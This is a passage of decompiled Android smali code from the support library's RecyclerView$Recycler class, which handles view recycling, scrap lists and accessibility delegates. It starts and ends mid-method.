:cond_0 invoke-static {p1}, Landroid/support/v4/view/ViewCompat;->hasAccessibilityDelegate(Landroid/view/View;)Z move-result v0 if-nez v0, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAccessibilityDelegate:Landroid/support/v7/widget/RecyclerViewAccessibilityDelegate; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$4600(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerViewAccessibilityDelegate; move-result-object v0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerViewAccessibilityDelegate;->getItemDelegate()Landroid/support/v4/view/AccessibilityDelegateCompat; move-result-object v0 invoke-static {p1, v0}, Landroid/support/v4/view/ViewCompat;->setAccessibilityDelegate(Landroid/view/View;Landroid/support/v4/view/AccessibilityDelegateCompat;)V :cond_1 return-void .end method .method private invalidateDisplayListInt(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V .locals 2 iget-object v0, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; instance-of v0, v0, Landroid/view/ViewGroup; if-eqz v0, :cond_0 iget-object v0, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; check-cast v0, Landroid/view/ViewGroup; const/4 v1, 0x0 invoke-direct {p0, v0, v1}, Landroid/support/v7/widget/RecyclerView$Recycler;->invalidateDisplayListInt(Landroid/view/ViewGroup;Z)V :cond_0 return-void .end method .method private invalidateDisplayListInt(Landroid/view/ViewGroup;Z)V .locals 4 const/4 v3, 0x4 invoke-virtual {p1}, Landroid/view/ViewGroup;->getChildCount()I move-result v0 add-int/lit8 v0, v0, -0x1 move v1, v0 :goto_0 if-ltz v1, :cond_1 invoke-virtual {p1, v1}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View; move-result-object v0 instance-of v2, v0, Landroid/view/ViewGroup; if-eqz v2, :cond_0 check-cast v0, Landroid/view/ViewGroup; const/4 v2, 0x1 invoke-direct {p0, v0, v2}, Landroid/support/v7/widget/RecyclerView$Recycler;->invalidateDisplayListInt(Landroid/view/ViewGroup;Z)V :cond_0 add-int/lit8 v0, v1, -0x1 move v1, v0 goto :goto_0 :cond_1 if-nez p2, :cond_2 :goto_1 return-void :cond_2 invoke-virtual {p1}, Landroid/view/ViewGroup;->getVisibility()I move-result v0 if-ne v0, v3, :cond_3 const/4 v0, 0x0 invoke-virtual {p1, v0}, Landroid/view/ViewGroup;->setVisibility(I)V invoke-virtual {p1, v3}, Landroid/view/ViewGroup;->setVisibility(I)V goto :goto_1 :cond_3 invoke-virtual {p1}, Landroid/view/ViewGroup;->getVisibility()I move-result v0 invoke-virtual {p1, v3}, Landroid/view/ViewGroup;->setVisibility(I)V invoke-virtual {p1, v0}, Landroid/view/ViewGroup;->setVisibility(I)V goto :goto_1 .end method # virtual methods .method final addViewHolderToRecycledViewPool(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V .locals 2 const/4 v1, 0x0 iget-object v0, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-static {v0, v1}, Landroid/support/v4/view/ViewCompat;->setAccessibilityDelegate(Landroid/view/View;Landroid/support/v4/view/AccessibilityDelegateCompat;)V invoke-virtual {p0, p1}, Landroid/support/v7/widget/RecyclerView$Recycler;->dispatchViewRecycled(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V iput-object v1, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mOwnerRecyclerView:Landroid/support/v7/widget/RecyclerView; invoke-virtual {p0}, Landroid/support/v7/widget/RecyclerView$Recycler;->getRecycledViewPool()Landroid/support/v7/widget/RecyclerView$RecycledViewPool; move-result-object v0 invoke-virtual {v0, p1}, Landroid/support/v7/widget/RecyclerView$RecycledViewPool;->putRecycledView(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V return-void .end method .method public final bindViewToPosition(Landroid/view/View;I)V .locals 4 const/4 v1, 0x1 invoke-static {p1}, Landroid/support/v7/widget/RecyclerView;->getChildViewHolderInt(Landroid/view/View;)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v2 if-nez v2, :cond_0 new-instance v0, Ljava/lang/IllegalArgumentException; const-string/jumbo v1, "The view does not have a ViewHolder. You cannot pass arbitrary views to this method, they should be created by the Adapter" invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v0 :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mAdapterHelper:Landroid/support/v7/widget/AdapterHelper; invoke-virtual {v0, p2}, Landroid/support/v7/widget/AdapterHelper;->findPositionOffset(I)I move-result v0 if-ltz v0, :cond_1 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v3}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v3 invoke-virtual {v3}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemCount()I move-result v3 if-lt v0, v3, :cond_2 :cond_1 new-instance v1, Ljava/lang/IndexOutOfBoundsException; new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v3, "Inconsistency detected. Invalid item position " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v2 const-string/jumbo v3, "(offset:" invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v0 const-string/jumbo v2, ")." invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 const-string/jumbo v2, "state:" invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v2, v2, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v2}, Landroid/support/v7/widget/RecyclerView$State;->getItemCount()I move-result v2 invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 invoke-direct {v1, v0}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V throw v1 :cond_2 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iput-object v3, v2, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mOwnerRecyclerView:Landroid/support/v7/widget/RecyclerView; iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v3}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v3 invoke-virtual {v3, v2, v0}, Landroid/support/v7/widget/RecyclerView$Adapter;->bindViewHolder(Landroid/support/v7/widget/RecyclerView$ViewHolder;I)V invoke-direct {p0, p1}, Landroid/support/v7/widget/RecyclerView$Recycler;->attachAccessibilityDelegate(Landroid/view/View;)V iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v0 if-eqz v0, :cond_3 iput p2, v2, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPreLayoutPosition:I :cond_3 iget-object v0, v2, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v0}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams; move-result-object v0 if-nez v0, :cond_4 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView;->generateDefaultLayoutParams()Landroid/view/ViewGroup$LayoutParams; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$LayoutParams; iget-object v3, v2, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v3, v0}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V :goto_0 iput-boolean v1, v0, Landroid/support/v7/widget/RecyclerView$LayoutParams;->mInsetsDirty:Z iput-object v2, v0, Landroid/support/v7/widget/RecyclerView$LayoutParams;->mViewHolder:Landroid/support/v7/widget/RecyclerView$ViewHolder; iget-object v2, v2, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v2}, Landroid/view/View;->getParent()Landroid/view/ViewParent; move-result-object v2 if-nez v2, :cond_6 :goto_1 iput-boolean v1, v0, Landroid/support/v7/widget/RecyclerView$LayoutParams;->mPendingInvalidate:Z return-void :cond_4 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v3, v0}, Landroid/support/v7/widget/RecyclerView;->checkLayoutParams(Landroid/view/ViewGroup$LayoutParams;)Z move-result v3 if-nez v3, :cond_5 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v3, v0}, Landroid/support/v7/widget/RecyclerView;->generateLayoutParams(Landroid/view/ViewGroup$LayoutParams;)Landroid/view/ViewGroup$LayoutParams; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$LayoutParams; iget-object v3, v2, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v3, v0}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V goto :goto_0 :cond_5 check-cast v0, Landroid/support/v7/widget/RecyclerView$LayoutParams; goto :goto_0 :cond_6 const/4 v1, 0x0 goto :goto_1 .end method .method public final clear()V .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->clear()V invoke-virtual {p0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleAndClearCachedViews()V return-void .end method .method final clearOldPositions()V .locals 4 const/4 v1, 0x0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v3 move v2, v1 :goto_0 if-ge v2, v3, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->clearOldPosition()V add-int/lit8 v0, v2, 0x1 move v2, v0 goto :goto_0 :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v3 move v2, v1 :goto_1 if-ge v2, v3, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->clearOldPosition()V add-int/lit8 v0, v2, 0x1 move v2, v0 goto :goto_1 :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; if-eqz v0, :cond_2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v2 :goto_2 if-ge v1, v2, :cond_2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->clearOldPosition()V add-int/lit8 v0, v1, 0x1 move v1, v0 goto :goto_2 :cond_2 return-void .end method .method final clearScrap()V .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->clear()V iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; if-eqz v0, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->clear()V :cond_0 return-void .end method .method public final convertPreLayoutPositionToPostLayout(I)I .locals 3 if-ltz p1, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->getItemCount()I move-result v0 if-lt p1, v0, :cond_1 :cond_0 new-instance v0, Ljava/lang/IndexOutOfBoundsException; new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v2, "invalid position " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 const-string/jumbo v2, ". State " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 const-string/jumbo v2, "item count is " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v2, v2, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v2}, Landroid/support/v7/widget/RecyclerView$State;->getItemCount()I move-result v2 invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-direct {v0, v1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V throw v0 :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v0 if-nez v0, :cond_2 :goto_0 return p1 :cond_2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mAdapterHelper:Landroid/support/v7/widget/AdapterHelper; invoke-virtual {v0, p1}, Landroid/support/v7/widget/AdapterHelper;->findPositionOffset(I)I move-result p1 goto :goto_0 .end method .method final dispatchViewRecycled(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mRecyclerListener:Landroid/support/v7/widget/RecyclerView$RecyclerListener; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$5100(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$RecyclerListener; move-result-object v0 if-eqz v0, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mRecyclerListener:Landroid/support/v7/widget/RecyclerView$RecyclerListener; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$5100(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$RecyclerListener; move-result-object v0 invoke-interface {v0, p1}, Landroid/support/v7/widget/RecyclerView$RecyclerListener;->onViewRecycled(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v0 if-eqz v0, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v0 invoke-virtual {v0, p1}, Landroid/support/v7/widget/RecyclerView$Adapter;->onViewRecycled(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; if-eqz v0, :cond_2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mViewInfoStore:Landroid/support/v7/widget/ViewInfoStore; invoke-virtual {v0, p1}, Landroid/support/v7/widget/ViewInfoStore;->removeViewHolder(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V :cond_2 return-void .end method .method final getChangedScrapViewForPosition(I)Landroid/support/v7/widget/RecyclerView$ViewHolder; .locals 11 const/4 v1, 0x0 const/16 v10, 0x20 const/4 v2, 0x0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; if-eqz v0, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v4 if-nez v4, :cond_1 :cond_0 move-object v0, v1 :goto_0 return-object v0 :cond_1 move v3, v2 :goto_1 if-ge v3, v4, :cond_3 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v0, v3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->wasReturnedFromScrap()Z move-result v5 if-nez v5, :cond_2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getLayoutPosition()I move-result v5 if-ne v5, p1, :cond_2 invoke-virtual {v0, v10}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V goto :goto_0 :cond_2 add-int/lit8 v0, v3, 0x1 move v3, v0 goto :goto_1 :cond_3 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$Adapter;->hasStableIds()Z move-result v0 if-eqz v0, :cond_5 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mAdapterHelper:Landroid/support/v7/widget/AdapterHelper; invoke-virtual {v0, p1}, Landroid/support/v7/widget/AdapterHelper;->findPositionOffset(I)I move-result v0 if-lez v0, :cond_5 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v3}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v3 invoke-virtual {v3}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemCount()I move-result v3 if-ge v0, v3, :cond_5 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v3}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v3 invoke-virtual {v3, v0}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemId(I)J move-result-wide v6 :goto_2 if-ge v2, v4, :cond_5 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v0, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->wasReturnedFromScrap()Z move-result v3 if-nez v3, :cond_4 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemId()J move-result-wide v8 cmp-long v3, v8, v6 if-nez v3, :cond_4 invoke-virtual {v0, v10}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V goto :goto_0 :cond_4 add-int/lit8 v0, v2, 0x1 move v2, v0 goto :goto_2 :cond_5 move-object v0, v1 goto :goto_0 .end method .method final getRecycledViewPool()Landroid/support/v7/widget/RecyclerView$RecycledViewPool; .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; if-nez v0, :cond_0 new-instance v0, Landroid/support/v7/widget/RecyclerView$RecycledViewPool; invoke-direct {v0}, Landroid/support/v7/widget/RecyclerView$RecycledViewPool;-><init>()V iput-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; return-object v0 .end method .method final getScrapCount()I .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 return v0 .end method .method public final getScrapList()Ljava/util/List; .locals 1 .annotation system Ldalvik/annotation/Signature; value = { "()", "Ljava/util/List", "<", "Landroid/support/v7/widget/RecyclerView$ViewHolder;", ">;" } .end annotation iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mUnmodifiableAttachedScrap:Ljava/util/List; return-object v0 .end method .method final getScrapViewAt(I)Landroid/view/View; .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0, p1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; return-object v0 .end method .method final getScrapViewForId(JIZ)Landroid/support/v7/widget/RecyclerView$ViewHolder; .locals 5 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 add-int/lit8 v0, v0, -0x1 move v1, v0 :goto_0 if-ltz v1, :cond_3 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemId()J move-result-wide v2 cmp-long v2, v2, p1 if-nez v2, :cond_2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->wasReturnedFromScrap()Z move-result v2 if-nez v2, :cond_2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemViewType()I move-result v2 if-ne p3, v2, :cond_1 const/16 v1, 0x20 invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isRemoved()Z move-result v1 if-eqz v1, :cond_0 iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v1, v1, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v1}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v1 if-nez v1, :cond_0 const/4 v1, 0x2 const/16 v2, 0xe invoke-virtual {v0, v1, v2}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->setFlags(II)V :cond_0 :goto_1 return-object v0 :cond_1 if-nez p4, :cond_2 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v2, v1}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object; iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v3, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; const/4 v4, 0x0 invoke-virtual {v2, v3, v4}, Landroid/support/v7/widget/RecyclerView;->removeDetachedView(Landroid/view/View;Z)V iget-object v0, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->quickRecycleScrapView(Landroid/view/View;)V :cond_2 add-int/lit8 v0, v1, -0x1 move v1, v0 goto :goto_0 :cond_3 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 add-int/lit8 v0, v0, -0x1 move v1, v0 :goto_2 if-ltz v1, :cond_6 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemId()J move-result-wide v2 cmp-long v2, v2, p1 if-nez v2, :cond_5 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemViewType()I move-result v2 if-ne p3, v2, :cond_4 if-nez p4, :cond_0 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v2, v1}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object; goto 